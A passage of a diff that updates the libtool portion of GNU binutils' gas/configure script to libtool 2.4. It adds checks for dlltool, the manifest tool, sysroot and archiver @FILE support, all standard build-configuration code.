-+ sed -e '/^func_arith ()$/,/^} # func_arith /c\
-+func_arith ()\
-+{\
-+ func_arith_result=$(( $* ))\
-+} # Extended-shell func_arith implementation' "$cfgfile" > $cfgfile.tmp \
-+ && mv -f "$cfgfile.tmp" "$cfgfile" \
-+ || (rm -f "$cfgfile" && cp "$cfgfile.tmp" "$cfgfile" && rm -f "$cfgfile.tmp")
-+test 0 -eq $? || _lt_function_replace_fail=:
-+
-+
-+ sed -e '/^func_len ()$/,/^} # func_len /c\
-+func_len ()\
-+{\
-+ func_len_result=${#1}\
-+} # Extended-shell func_len implementation' "$cfgfile" > $cfgfile.tmp \
-+ && mv -f "$cfgfile.tmp" "$cfgfile" \
-+ || (rm -f "$cfgfile" && cp "$cfgfile.tmp" "$cfgfile" && rm -f "$cfgfile.tmp")
-+test 0 -eq $? || _lt_function_replace_fail=:
-+
-+fi
-+
-+if test x"$lt_shell_append" = xyes; then
-+ sed -e '/^func_append ()$/,/^} # func_append /c\
-+func_append ()\
-+{\
-+ eval "${1}+=\\${2}"\
-+} # Extended-shell func_append implementation' "$cfgfile" > $cfgfile.tmp \
-+ && mv -f "$cfgfile.tmp" "$cfgfile" \
-+ || (rm -f "$cfgfile" && cp "$cfgfile.tmp" "$cfgfile" && rm -f "$cfgfile.tmp")
-+test 0 -eq $? || _lt_function_replace_fail=:
-+
-+
-+ sed -e '/^func_append_quoted ()$/,/^} # func_append_quoted /c\
-+func_append_quoted ()\
-+{\
-+\ func_quote_for_eval "${2}"\
-+\ eval "${1}+=\\\\ \\$func_quote_for_eval_result"\
-+} # Extended-shell func_append_quoted implementation' "$cfgfile" > $cfgfile.tmp \
-+ && mv -f "$cfgfile.tmp" "$cfgfile" \
-+ || (rm -f "$cfgfile" && cp "$cfgfile.tmp" "$cfgfile" && rm -f "$cfgfile.tmp")
-+test 0 -eq $? || _lt_function_replace_fail=:
-+
-+
-+ # Save a `func_append' function call where possible by direct use of '+='
-+ sed -e 's%func_append \([a-zA-Z_]\{1,\}\) "%\1+="%g' $cfgfile > $cfgfile.tmp \
-+ && mv -f "$cfgfile.tmp" "$cfgfile" \
-+ || (rm -f "$cfgfile" && cp "$cfgfile.tmp" "$cfgfile" && rm -f "$cfgfile.tmp")
-+ test 0 -eq $? || _lt_function_replace_fail=:
-+else
-+ # Save a `func_append' function call even when '+=' is not available
-+ sed -e 's%func_append \([a-zA-Z_]\{1,\}\) "%\1="$\1%g' $cfgfile > $cfgfile.tmp \
-+ && mv -f "$cfgfile.tmp" "$cfgfile" \
-+ || (rm -f "$cfgfile" && cp "$cfgfile.tmp" "$cfgfile" && rm -f "$cfgfile.tmp")
-+ test 0 -eq $? || _lt_function_replace_fail=:
-+fi
-+
-+if test x"$_lt_function_replace_fail" = x":"; then
-+ { $as_echo "$as_me:${as_lineno-$LINENO}: WARNING: Unable to substitute extended shell functions in $ofile" >&5
-+$as_echo "$as_me: WARNING: Unable to substitute extended shell functions in $ofile" >&2;}
-+fi
-+
-+
-+ mv -f "$cfgfile" "$ofile" ||
- (rm -f "$ofile" && cp "$cfgfile" "$ofile" && rm -f "$cfgfile")
- chmod +x "$ofile"
-
-diff --git a/gas/configure b/gas/configure
-index 64de9f19da..a82fde7fa8 100755
---- a/gas/configure
-+++ b/gas/configure
-@@ -681,8 +681,11 @@ OTOOL
- LIPO
- NMEDIT
- DSYMUTIL
-+MANIFEST_TOOL
- RANLIB
-+ac_ct_AR
- AR
-+DLLTOOL
- OBJDUMP
- LN_S
- NM
-@@ -799,6 +802,7 @@ enable_static
- with_pic
- enable_fast_install
- with_gnu_ld
-+with_libtool_sysroot
- enable_libtool_lock
- enable_plugins
- enable_largefile
-@@ -1487,6 +1491,8 @@ Optional Packages:
- --with-pic try to use only PIC/non-PIC objects [default=use
- both]
- --with-gnu-ld assume the C compiler uses GNU ld [default=no]
-+ --with-libtool-sysroot=DIR Search for dependent libraries within DIR
-+ (or the compiler's sysroot if not specified).
- --with-cpu=CPU default cpu variant is CPU (currently only supported
- on ARC)
- --with-system-zlib use installed libz
-@@ -5274,8 +5280,8 @@ esac
-
-
-
--macro_version='2.2.7a'
--macro_revision='1.3134'
-+macro_version='2.4'
-+macro_revision='1.3293'
-
-
-
-@@ -5315,7 +5321,7 @@ ECHO=$ECHO$ECHO$ECHO$ECHO$ECHO$ECHO
- { $as_echo "$as_me:${as_lineno-$LINENO}: checking how to print strings" >&5
- $as_echo_n "checking how to print strings... " >&6; }
- # Test print first, because it will be a builtin if present.
--if test "X`print -r -- -n 2>/dev/null`" = X-n && \
-+if test "X`( print -r -- -n ) 2>/dev/null`" = X-n && \
- test "X`print -r -- $ECHO 2>/dev/null`" = "X$ECHO"; then
- ECHO='print -r --'
- elif test "X`printf %s $ECHO 2>/dev/null`" = "X$ECHO"; then
-@@ -6001,8 +6007,8 @@ $as_echo_n "checking whether the shell understands some XSI constructs... " >&6;
- # Try some XSI features
- xsi_shell=no
- ( _lt_dummy="a/b/c"
-- test "${_lt_dummy##*/},${_lt_dummy%/*},"${_lt_dummy%"$_lt_dummy"}, \
-- = c,a/b,, \
-+ test "${_lt_dummy##*/},${_lt_dummy%/*},${_lt_dummy#??}"${_lt_dummy%"$_lt_dummy"}, \
-+ = c,a/b,b/c, \
- && eval 'test $(( 1 + 1 )) -eq 2 \
- && test "${#_lt_dummy}" -eq 5' ) >/dev/null 2>&1 \
- && xsi_shell=yes
-@@ -6051,6 +6057,80 @@ esac
-
-
-
-+{ $as_echo "$as_me:${as_lineno-$LINENO}: checking how to convert $build file names to $host format" >&5
-+$as_echo_n "checking how to convert $build file names to $host format... " >&6; }
-+if ${lt_cv_to_host_file_cmd+:} false; then :
-+ $as_echo_n "(cached) " >&6
-+else
-+ case $host in
-+ *-*-mingw* )
-+ case $build in
-+ *-*-mingw* ) # actually msys
-+ lt_cv_to_host_file_cmd=func_convert_file_msys_to_w32
-+ ;;
-+ *-*-cygwin* )
-+ lt_cv_to_host_file_cmd=func_convert_file_cygwin_to_w32
-+ ;;
-+ * ) # otherwise, assume *nix
-+ lt_cv_to_host_file_cmd=func_convert_file_nix_to_w32
-+ ;;
-+ esac
-+ ;;
-+ *-*-cygwin* )
-+ case $build in
-+ *-*-mingw* ) # actually msys
-+ lt_cv_to_host_file_cmd=func_convert_file_msys_to_cygwin
-+ ;;
-+ *-*-cygwin* )
-+ lt_cv_to_host_file_cmd=func_convert_file_noop
-+ ;;
-+ * ) # otherwise, assume *nix
-+ lt_cv_to_host_file_cmd=func_convert_file_nix_to_cygwin
-+ ;;
-+ esac
-+ ;;
-+ * ) # unhandled hosts (and "normal" native builds)
-+ lt_cv_to_host_file_cmd=func_convert_file_noop
-+ ;;
-+esac
-+
-+fi
-+
-+to_host_file_cmd=$lt_cv_to_host_file_cmd
-+{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $lt_cv_to_host_file_cmd" >&5
-+$as_echo "$lt_cv_to_host_file_cmd" >&6; }
-+
-+
-+
-+
-+
-+{ $as_echo "$as_me:${as_lineno-$LINENO}: checking how to convert $build file names to toolchain format" >&5
-+$as_echo_n "checking how to convert $build file names to toolchain format... " >&6; }
-+if ${lt_cv_to_tool_file_cmd+:} false; then :
-+ $as_echo_n "(cached) " >&6
-+else
-+ #assume ordinary cross tools, or native build.
-+lt_cv_to_tool_file_cmd=func_convert_file_noop
-+case $host in
-+ *-*-mingw* )
-+ case $build in
-+ *-*-mingw* ) # actually msys
-+ lt_cv_to_tool_file_cmd=func_convert_file_msys_to_w32
-+ ;;
-+ esac
-+ ;;
-+esac
-+
-+fi
-+
-+to_tool_file_cmd=$lt_cv_to_tool_file_cmd
-+{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $lt_cv_to_tool_file_cmd" >&5
-+$as_echo "$lt_cv_to_tool_file_cmd" >&6; }
-+
-+
-+
-+
-+
- { $as_echo "$as_me:${as_lineno-$LINENO}: checking for $LD option to reload object files" >&5
- $as_echo_n "checking for $LD option to reload object files... " >&6; }
- if ${lt_cv_ld_reload_flag+:} false; then :
-@@ -6067,6 +6147,11 @@ case $reload_flag in
- esac
- reload_cmds='$LD$reload_flag -o $output$reload_objs'
- case $host_os in
-+ cygwin* | mingw* | pw32* | cegcc*)
-+ if test "$GCC" != yes; then
-+ reload_cmds=false
-+ fi
-+ ;;
- darwin*)
- if test "$GCC" = yes; then
- reload_cmds='$LTCC $LTCFLAGS -nostdlib ${wl}-r -o $output$reload_objs'
-@@ -6235,7 +6320,8 @@ mingw* | pw32*)
- lt_cv_deplibs_check_method='file_magic ^x86 archive import|^x86 DLL'
- lt_cv_file_magic_cmd='func_win32_libid'
- else
-- lt_cv_deplibs_check_method='file_magic file format pei*-i386(.*architecture: i386)?'
-+ # Keep this pattern in sync with the one in func_win32_libid.
-+ lt_cv_deplibs_check_method='file_magic file format (pei*-i386(.*architecture: i386)?|pe-arm-wince|pe-x86-64)'
- lt_cv_file_magic_cmd='$OBJDUMP -f'
- fi
- ;;
-@@ -6389,6 +6475,21 @@ esac
- fi
- { $as_echo "$as_me:${as_lineno-$LINENO}: result: $lt_cv_deplibs_check_method" >&5
- $as_echo "$lt_cv_deplibs_check_method" >&6; }
-+
-+file_magic_glob=
-+want_nocaseglob=no
-+if test "$build" = "$host"; then
-+ case $host_os in
-+ mingw* | pw32*)
-+ if ( shopt | grep nocaseglob ) >/dev/null 2>&1; then
-+ want_nocaseglob=yes
-+ else
-+ file_magic_glob=`echo aAbBcCdDeEfFgGhHiIjJkKlLmMnNoOpPqQrRsStTuUvVwWxXyYzZ | $SED -e "s/\(..\)/s\/[\1]\/[\1]\/g;/g"`
-+ fi
-+ ;;
-+ esac
-+fi
-+
- file_magic_cmd=$lt_cv_file_magic_cmd
- deplibs_check_method=$lt_cv_deplibs_check_method
- test -z "$deplibs_check_method" && deplibs_check_method=unknown
-@@ -6404,9 +6505,162 @@ test -z "$deplibs_check_method" && deplibs_check_method=unknown
-
-
-
-+
-+
-+
-+
-+
-+
-+
-+
-+
-+
-+if test -n "$ac_tool_prefix"; then
-+ # Extract the first word of "${ac_tool_prefix}dlltool", so it can be a program name with args.
-+set dummy ${ac_tool_prefix}dlltool; ac_word=$2
-+{ $as_echo "$as_me:${as_lineno-$LINENO}: checking for $ac_word" >&5
-+$as_echo_n "checking for $ac_word... " >&6; }
-+if ${ac_cv_prog_DLLTOOL+:} false; then :
-+ $as_echo_n "(cached) " >&6
-+else
-+ if test -n "$DLLTOOL"; then
-+ ac_cv_prog_DLLTOOL="$DLLTOOL" # Let the user override the test.
-+else
-+as_save_IFS=$IFS; IFS=$PATH_SEPARATOR
-+for as_dir in $PATH
-+do
-+ IFS=$as_save_IFS
-+ test -z "$as_dir" && as_dir=.
-+ for ac_exec_ext in '' $ac_executable_extensions; do
-+ if as_fn_executable_p "$as_dir/$ac_word$ac_exec_ext"; then
-+ ac_cv_prog_DLLTOOL="${ac_tool_prefix}dlltool"
-+ $as_echo "$as_me:${as_lineno-$LINENO}: found $as_dir/$ac_word$ac_exec_ext" >&5
-+ break 2
-+ fi
-+done
-+ done
-+IFS=$as_save_IFS
-+
-+fi
-+fi
-+DLLTOOL=$ac_cv_prog_DLLTOOL
-+if test -n "$DLLTOOL"; then
-+ { $as_echo "$as_me:${as_lineno-$LINENO}: result: $DLLTOOL" >&5
-+$as_echo "$DLLTOOL" >&6; }
-+else
-+ { $as_echo "$as_me:${as_lineno-$LINENO}: result: no" >&5
-+$as_echo "no" >&6; }
-+fi
-+
-+
-+fi
-+if test -z "$ac_cv_prog_DLLTOOL"; then
-+ ac_ct_DLLTOOL=$DLLTOOL
-+ # Extract the first word of "dlltool", so it can be a program name with args.
-+set dummy dlltool; ac_word=$2
-+{ $as_echo "$as_me:${as_lineno-$LINENO}: checking for $ac_word" >&5
-+$as_echo_n "checking for $ac_word... " >&6; }
-+if ${ac_cv_prog_ac_ct_DLLTOOL+:} false; then :
-+ $as_echo_n "(cached) " >&6
-+else
-+ if test -n "$ac_ct_DLLTOOL"; then
-+ ac_cv_prog_ac_ct_DLLTOOL="$ac_ct_DLLTOOL" # Let the user override the test.
-+else
-+as_save_IFS=$IFS; IFS=$PATH_SEPARATOR
-+for as_dir in $PATH
-+do
-+ IFS=$as_save_IFS
-+ test -z "$as_dir" && as_dir=.
-+ for ac_exec_ext in '' $ac_executable_extensions; do
-+ if as_fn_executable_p "$as_dir/$ac_word$ac_exec_ext"; then
-+ ac_cv_prog_ac_ct_DLLTOOL="dlltool"
-+ $as_echo "$as_me:${as_lineno-$LINENO}: found $as_dir/$ac_word$ac_exec_ext" >&5
-+ break 2
-+ fi
-+done
-+ done
-+IFS=$as_save_IFS
-+
-+fi
-+fi
-+ac_ct_DLLTOOL=$ac_cv_prog_ac_ct_DLLTOOL
-+if test -n "$ac_ct_DLLTOOL"; then
-+ { $as_echo "$as_me:${as_lineno-$LINENO}: result: $ac_ct_DLLTOOL" >&5
-+$as_echo "$ac_ct_DLLTOOL" >&6; }
-+else
-+ { $as_echo "$as_me:${as_lineno-$LINENO}: result: no" >&5
-+$as_echo "no" >&6; }
-+fi
-+
-+ if test "x$ac_ct_DLLTOOL" = x; then
-+ DLLTOOL="false"
-+ else
-+ case $cross_compiling:$ac_tool_warned in
-+yes:)
-+{ $as_echo "$as_me:${as_lineno-$LINENO}: WARNING: using cross tools not prefixed with host triplet" >&5
-+$as_echo "$as_me: WARNING: using cross tools not prefixed with host triplet" >&2;}
-+ac_tool_warned=yes ;;
-+esac
-+ DLLTOOL=$ac_ct_DLLTOOL
-+ fi
-+else
-+ DLLTOOL="$ac_cv_prog_DLLTOOL"
-+fi
-+
-+test -z "$DLLTOOL" && DLLTOOL=dlltool
-+
-+
-+
-+
-+
-+
-+
-+
-+
-+
-+{ $as_echo "$as_me:${as_lineno-$LINENO}: checking how to associate runtime and link libraries" >&5
-+$as_echo_n "checking how to associate runtime and link libraries... " >&6; }
-+if ${lt_cv_sharedlib_from_linklib_cmd+:} false; then :
-+ $as_echo_n "(cached) " >&6
-+else
-+ lt_cv_sharedlib_from_linklib_cmd='unknown'
-+
-+case $host_os in
-+cygwin* | mingw* | pw32* | cegcc*)
-+ # two different shell functions defined in ltmain.sh
-+ # decide which to use based on capabilities of $DLLTOOL
-+ case `$DLLTOOL --help 2>&1` in
-+ *--identify-strict*)
-+ lt_cv_sharedlib_from_linklib_cmd=func_cygming_dll_for_implib
-+ ;;
-+ *)
-+ lt_cv_sharedlib_from_linklib_cmd=func_cygming_dll_for_implib_fallback
-+ ;;
-+ esac
-+ ;;
-+*)
-+ # fallback: assume linklib IS sharedlib
-+ lt_cv_sharedlib_from_linklib_cmd="$ECHO"
-+ ;;
-+esac
-+
-+fi
-+{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $lt_cv_sharedlib_from_linklib_cmd" >&5
-+$as_echo "$lt_cv_sharedlib_from_linklib_cmd" >&6; }
-+sharedlib_from_linklib_cmd=$lt_cv_sharedlib_from_linklib_cmd
-+test -z "$sharedlib_from_linklib_cmd" && sharedlib_from_linklib_cmd=$ECHO
-+
-+
-+
-+
-+
-+
-+
- if test -n "$ac_tool_prefix"; then
-- # Extract the first word of "${ac_tool_prefix}ar", so it can be a program name with args.
--set dummy ${ac_tool_prefix}ar; ac_word=$2
-+ for ac_prog in ar
-+ do
-+ # Extract the first word of "$ac_tool_prefix$ac_prog", so it can be a program name with args.
-+set dummy $ac_tool_prefix$ac_prog; ac_word=$2
- { $as_echo "$as_me:${as_lineno-$LINENO}: checking for $ac_word" >&5
- $as_echo_n "checking for $ac_word... " >&6; }
- if ${ac_cv_prog_AR+:} false; then :
-@@ -6422,7 +6676,7 @@ do
- test -z "$as_dir" && as_dir=.
- for ac_exec_ext in '' $ac_executable_extensions; do
- if as_fn_executable_p "$as_dir/$ac_word$ac_exec_ext"; then
-- ac_cv_prog_AR="${ac_tool_prefix}ar"
-+ ac_cv_prog_AR="$ac_tool_prefix$ac_prog"
- $as_echo "$as_me:${as_lineno-$LINENO}: found $as_dir/$ac_word$ac_exec_ext" >&5
- break 2
- fi
-@@ -6442,11 +6696,15 @@ $as_echo "no" >&6; }
- fi
-
-
-+ test -n "$AR" && break
-+ done
- fi
--if test -z "$ac_cv_prog_AR"; then
-+if test -z "$AR"; then
- ac_ct_AR=$AR
-- # Extract the first word of "ar", so it can be a program name with args.
--set dummy ar; ac_word=$2
-+ for ac_prog in ar
-+do
-+ # Extract the first word of "$ac_prog", so it can be a program name with args.
-+set dummy $ac_prog; ac_word=$2
- { $as_echo "$as_me:${as_lineno-$LINENO}: checking for $ac_word" >&5
- $as_echo_n "checking for $ac_word... " >&6; }
- if ${ac_cv_prog_ac_ct_AR+:} false; then :
-@@ -6462,7 +6720,7 @@ do
- test -z "$as_dir" && as_dir=.
- for ac_exec_ext in '' $ac_executable_extensions; do
- if as_fn_executable_p "$as_dir/$ac_word$ac_exec_ext"; then
-- ac_cv_prog_ac_ct_AR="ar"
-+ ac_cv_prog_ac_ct_AR="$ac_prog"
- $as_echo "$as_me:${as_lineno-$LINENO}: found $as_dir/$ac_word$ac_exec_ext" >&5
- break 2
- fi
-@@ -6481,6 +6739,10 @@ else
- $as_echo "no" >&6; }
- fi
-
-+
-+ test -n "$ac_ct_AR" && break
-+done
-+
- if test "x$ac_ct_AR" = x; then
- AR="false"
- else
-@@ -6492,12 +6754,10 @@ ac_tool_warned=yes ;;
- esac
- AR=$ac_ct_AR
- fi
--else
-- AR="$ac_cv_prog_AR"
- fi
-
--test -z "$AR" && AR=ar
--test -z "$AR_FLAGS" && AR_FLAGS=cru
-+: ${AR=ar}
-+: ${AR_FLAGS=cru}
-
-
-
-@@ -6509,6 +6769,64 @@ test -z "$AR_FLAGS" && AR_FLAGS=cru
-
-
-
-+{ $as_echo "$as_me:${as_lineno-$LINENO}: checking for archiver @FILE support" >&5
-+$as_echo_n "checking for archiver @FILE support... " >&6; }
-+if ${lt_cv_ar_at_file+:} false; then :
-+ $as_echo_n "(cached) " >&6
-+else
-+ lt_cv_ar_at_file=no
-+ cat confdefs.h - <<_ACEOF >conftest.$ac_ext
-+/* end confdefs.h. */
-+
-+int
-+main ()
-+{
-+
-+ ;
-+ return 0;
-+}
-+_ACEOF
-+if ac_fn_c_try_compile "$LINENO"; then :
-+ echo conftest.$ac_objext > conftest.lst
-+ lt_ar_try='$AR $AR_FLAGS libconftest.a @conftest.lst >&5'
-+ { { eval echo "\"\$as_me\":${as_lineno-$LINENO}: \"$lt_ar_try\""; } >&5
-+ (eval $lt_ar_try) 2>&5
-+ ac_status=$?
-+ $as_echo "$as_me:${as_lineno-$LINENO}: \$? = $ac_status" >&5
-+ test $ac_status = 0; }
-+ if test "$ac_status" -eq 0; then
-+ # Ensure the archiver fails upon bogus file names.
-+ rm -f conftest.$ac_objext libconftest.a
-+ { { eval echo "\"\$as_me\":${as_lineno-$LINENO}: \"$lt_ar_try\""; } >&5
-+ (eval $lt_ar_try) 2>&5
-+ ac_status=$?
-+ $as_echo "$as_me:${as_lineno-$LINENO}: \$? = $ac_status" >&5
-+ test $ac_status = 0; }
-+ if test "$ac_status" -ne 0; then
-+ lt_cv_ar_at_file=@
-+ fi
-+ fi
-+ rm -f conftest.* libconftest.a
-+
-+fi
-+rm -f core conftest.err conftest.$ac_objext conftest.$ac_ext
-+
-+fi
-+{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $lt_cv_ar_at_file" >&5
-+$as_echo "$lt_cv_ar_at_file" >&6; }
-+
-+if test "x$lt_cv_ar_at_file" = xno; then
-+ archiver_list_spec=
-+else
-+ archiver_list_spec=$lt_cv_ar_at_file
-+fi
-+
-+
-+
-+
-+
-+
-+
- if test -n "$ac_tool_prefix"; then
- # Extract the first word of "${ac_tool_prefix}strip", so it can be a program name with args.
- set dummy ${ac_tool_prefix}strip; ac_word=$2
-@@ -6843,8 +7161,8 @@ esac
- lt_cv_sys_global_symbol_to_cdecl="sed -n -e 's/^T .* \(.*\)$/extern int \1();/p' -e 's/^$symcode* .* \(.*\)$/extern char \1;/p'"
-
- # Transform an extracted symbol line into symbol name and symbol address
--lt_cv_sys_global_symbol_to_c_name_address="sed -n -e 's/^: \([^ ]*\) $/ {\\\"\1\\\", (void *) 0},/p' -e 's/^$symcode* \([^ ]*\) \([^ ]*\)$/ {\"\2\", (void *) \&\2},/p'"
--lt_cv_sys_global_symbol_to_c_name_address_lib_prefix="sed -n -e 's/^: \([^ ]*\) $/ {\\\"\1\\\", (void *) 0},/p' -e 's/^$symcode* \([^ ]*\) \(lib[^ ]*\)$/ {\"\2\", (void *) \&\2},/p' -e 's/^$symcode* \([^ ]*\) \([^ ]*\)$/ {\"lib\2\", (void *) \&\2},/p'"
-+lt_cv_sys_global_symbol_to_c_name_address="sed -n -e 's/^: \([^ ]*\)[ ]*$/ {\\\"\1\\\", (void *) 0},/p' -e 's/^$symcode* \([^ ]*\) \([^ ]*\)$/ {\"\2\", (void *) \&\2},/p'"
-+lt_cv_sys_global_symbol_to_c_name_address_lib_prefix="sed -n -e 's/^: \([^ ]*\)[ ]*$/ {\\\"\1\\\", (void *) 0},/p' -e 's/^$symcode* \([^ ]*\) \(lib[^ ]*\)$/ {\"\2\", (void *) \&\2},/p' -e 's/^$symcode* \([^ ]*\) \([^ ]*\)$/ {\"lib\2\", (void *) \&\2},/p'"
-
- # Handle CRLF in mingw tool chain
- opt_cr=
-@@ -6880,6 +7198,7 @@ for ac_symprfx in "" "_"; do
- else
- lt_cv_sys_global_symbol_pipe="sed -n -e 's/^.*[ ]\($symcode$symcode*\)[ ][ ]*$ac_symprfx$sympat$opt_cr$/$symxfrm/p'"
- fi
-+ lt_cv_sys_global_symbol_pipe="$lt_cv_sys_global_symbol_pipe | sed '/ __gnu_lto/d'"
-
- # Check to see that the pipe works correctly.
- pipe_works=no
-@@ -6921,6 +7240,18 @@ _LT_EOF
- if $GREP ' nm_test_var$' "$nlist" >/dev/null; then
- if $GREP ' nm_test_func$' "$nlist" >/dev/null; then
- cat <<_LT_EOF > conftest.$ac_ext
-+/* Keep this code in sync between libtool.m4, ltmain, lt_system.h, and tests. */
-+#if defined(_WIN32) || defined(__CYGWIN__) || defined(_WIN32_WCE)
-+/* DATA imports from DLLs on WIN32 con't be const, because runtime
-+ relocations are performed -- see ld's documentation on pseudo-relocs. */
-+# define LT_DLSYM_CONST
-+#elif defined(__osf__)
-+/* This system does not cope well with relocations in const data. */
-+# define LT_DLSYM_CONST
-+#else
-+# define LT_DLSYM_CONST const
-+#endif
-+
- #ifdef __cplusplus
- extern "C" {
- #endif
-@@ -6932,7 +7263,7 @@ _LT_EOF
- cat <<_LT_EOF >> conftest.$ac_ext
-
- /* The mapping between symbol names and symbols. */
--const struct {
-+LT_DLSYM_CONST struct {
- const char *name;
- void *address;
- }
-@@ -6958,8 +7289,8 @@ static const void *lt_preloaded_setup() {
- _LT_EOF
- # Now try linking the two files.
- mv conftest.$ac_objext conftstm.$ac_objext
-- lt_save_LIBS="$LIBS"
-- lt_save_CFLAGS="$CFLAGS"
-+ lt_globsym_save_LIBS=$LIBS
-+ lt_globsym_save_CFLAGS=$CFLAGS
- LIBS="conftstm.$ac_objext"
- CFLAGS="$CFLAGS$lt_prog_compiler_no_builtin_flag"
- if { { eval echo "\"\$as_me\":${as_lineno-$LINENO}: \"$ac_link\""; } >&5
-@@ -6969,8 +7300,8 @@ _LT_EOF
- test $ac_status = 0; } && test -s conftest${ac_exeext}; then
- pipe_works=yes
- fi
-- LIBS="$lt_save_LIBS"
-- CFLAGS="$lt_save_CFLAGS"
-+ LIBS=$lt_globsym_save_LIBS
-+ CFLAGS=$lt_globsym_save_CFLAGS
- else
- echo "cannot find nm_test_func in $nlist" >&5
- fi
-@@ -7007,6 +7338,21 @@ else
- $as_echo "ok" >&6; }
- fi
-
-+# Response file support.
-+if test "$lt_cv_nm_interface" = "MS dumpbin"; then
-+ nm_file_list_spec='@'
-+elif $NM --help 2>/dev/null | grep '[@]FILE' >/dev/null; then
-+ nm_file_list_spec='@'
-+fi
-+
-+
-+
-+
-+
-+
-+
-+
-+
-
-
-
-@@ -7023,6 +7369,40 @@ fi
-
-
-
-+
-+
-+{ $as_echo "$as_me:${as_lineno-$LINENO}: checking for sysroot" >&5
-+$as_echo_n "checking for sysroot... " >&6; }
-+
-+# Check whether --with-libtool-sysroot was given.
-+if test "${with_libtool_sysroot+set}" = set; then :
-+ withval=$with_libtool_sysroot;
-+else
-+ with_libtool_sysroot=no
-+fi
-+
-+
-+lt_sysroot=
-+case ${with_libtool_sysroot} in #(
-+ yes)
-+ if test "$GCC" = yes; then
-+ lt_sysroot=`$CC --print-sysroot 2>/dev/null`
-+ fi
-+ ;; #(
-+ /*)
-+ lt_sysroot=`echo "$with_libtool_sysroot" | sed -e "$sed_quote_subst"`
-+ ;; #(
-+ no|'')
-+ ;; #(
-+ *)
-+ { $as_echo "$as_me:${as_lineno-$LINENO}: result: ${with_libtool_sysroot}" >&5
-+$as_echo "${with_libtool_sysroot}" >&6; }
-+ as_fn_error $? "The sysroot must be an absolute path." "$LINENO" 5
-+ ;;
-+esac
-+
-+ { $as_echo "$as_me:${as_lineno-$LINENO}: result: ${lt_sysroot:-no}" >&5
-+$as_echo "${lt_sysroot:-no}" >&6; }
-
-
-
-@@ -7234,6 +7614,123 @@ esac
-
- need_locks="$enable_libtool_lock"
-
-+if test -n "$ac_tool_prefix"; then
-+ # Extract the first word of "${ac_tool_prefix}mt", so it can be a program name with args.
-+set dummy ${ac_tool_prefix}mt; ac_word=$2
-+{ $as_echo "$as_me:${as_lineno-$LINENO}: checking for $ac_word" >&5
-+$as_echo_n "checking for $ac_word... " >&6; }
-+if ${ac_cv_prog_MANIFEST_TOOL+:} false; then :
-+ $as_echo_n "(cached) " >&6
-+else
-+ if test -n "$MANIFEST_TOOL"; then
-+ ac_cv_prog_MANIFEST_TOOL="$MANIFEST_TOOL" # Let the user override the test.
-+else
-+as_save_IFS=$IFS; IFS=$PATH_SEPARATOR
-+for as_dir in $PATH
-+do
-+ IFS=$as_save_IFS
-+ test -z "$as_dir" && as_dir=.
-+ for ac_exec_ext in '' $ac_executable_extensions; do
-+ if as_fn_executable_p "$as_dir/$ac_word$ac_exec_ext"; then
-+ ac_cv_prog_MANIFEST_TOOL="${ac_tool_prefix}mt"
-+ $as_echo "$as_me:${as_lineno-$LINENO}: found $as_dir/$ac_word$ac_exec_ext" >&5
-+ break 2
-+ fi
-+done
-+ done
-+IFS=$as_save_IFS
-+
-+fi
-+fi
-+MANIFEST_TOOL=$ac_cv_prog_MANIFEST_TOOL
-+if test -n "$MANIFEST_TOOL"; then
-+ { $as_echo "$as_me:${as_lineno-$LINENO}: result: $MANIFEST_TOOL" >&5
-+$as_echo "$MANIFEST_TOOL" >&6; }
-+else
-+ { $as_echo "$as_me:${as_lineno-$LINENO}: result: no" >&5
-+$as_echo "no" >&6; }
-+fi
-+
-+
-+fi
-+if test -z "$ac_cv_prog_MANIFEST_TOOL"; then
-+ ac_ct_MANIFEST_TOOL=$MANIFEST_TOOL
-+ # Extract the first word of "mt", so it can be a program name with args.
-+set dummy mt; ac_word=$2
-+{ $as_echo "$as_me:${as_lineno-$LINENO}: checking for $ac_word" >&5
-+$as_echo_n "checking for $ac_word... " >&6; }
-+if ${ac_cv_prog_ac_ct_MANIFEST_TOOL+:} false; then :
-+ $as_echo_n "(cached) " >&6
-+else
-+ if test -n "$ac_ct_MANIFEST_TOOL"; then
-+ ac_cv_prog_ac_ct_MANIFEST_TOOL="$ac_ct_MANIFEST_TOOL" # Let the user override the test.
-+else
-+as_save_IFS=$IFS; IFS=$PATH_SEPARATOR
-+for as_dir in $PATH
-+do
-+ IFS=$as_save_IFS
-+ test -z "$as_dir" && as_dir=.
-+ for ac_exec_ext in '' $ac_executable_extensions; do
-+ if as_fn_executable_p "$as_dir/$ac_word$ac_exec_ext"; then
-+ ac_cv_prog_ac_ct_MANIFEST_TOOL="mt"
-+ $as_echo "$as_me:${as_lineno-$LINENO}: found $as_dir/$ac_word$ac_exec_ext" >&5
-+ break 2
-+ fi
-+done
-+ done
-+IFS=$as_save_IFS
-+
-+fi
-+fi
-+ac_ct_MANIFEST_TOOL=$ac_cv_prog_ac_ct_MANIFEST_TOOL
-+if test -n "$ac_ct_MANIFEST_TOOL"; then
-+ { $as_echo "$as_me:${as_lineno-$LINENO}: result: $ac_ct_MANIFEST_TOOL" >&5
-+$as_echo "$ac_ct_MANIFEST_TOOL" >&6; }
-+else
-+ { $as_echo "$as_me:${as_lineno-$LINENO}: result: no" >&5
-+$as_echo "no" >&6; }
-+fi
-+
-+ if test "x$ac_ct_MANIFEST_TOOL" = x; then
-+ MANIFEST_TOOL=":"
-+ else
-+ case $cross_compiling:$ac_tool_warned in
-+yes:)
-+{ $as_echo "$as_me:${as_lineno-$LINENO}: WARNING: using cross tools not prefixed with host triplet" >&5
-+$as_echo "$as_me: WARNING: using cross tools not prefixed with host triplet" >&2;}
-+ac_tool_warned=yes ;;
-+esac
-+ MANIFEST_TOOL=$ac_ct_MANIFEST_TOOL
-+ fi
-+else
-+ MANIFEST_TOOL="$ac_cv_prog_MANIFEST_TOOL"
-+fi
-+
-+test -z "$MANIFEST_TOOL" && MANIFEST_TOOL=mt
-+{ $as_echo "$as_me:${as_lineno-$LINENO}: checking if $MANIFEST_TOOL is a manifest tool" >&5
-+$as_echo_n "checking if $MANIFEST_TOOL is a manifest tool... " >&6; }
-+if ${lt_cv_path_mainfest_tool+:} false; then :
-+ $as_echo_n "(cached) " >&6
-+else
-+ lt_cv_path_mainfest_tool=no
-+ echo "$as_me:$LINENO: $MANIFEST_TOOL '-?'" >&5
-+ $MANIFEST_TOOL '-?' 2>conftest.err > conftest.out
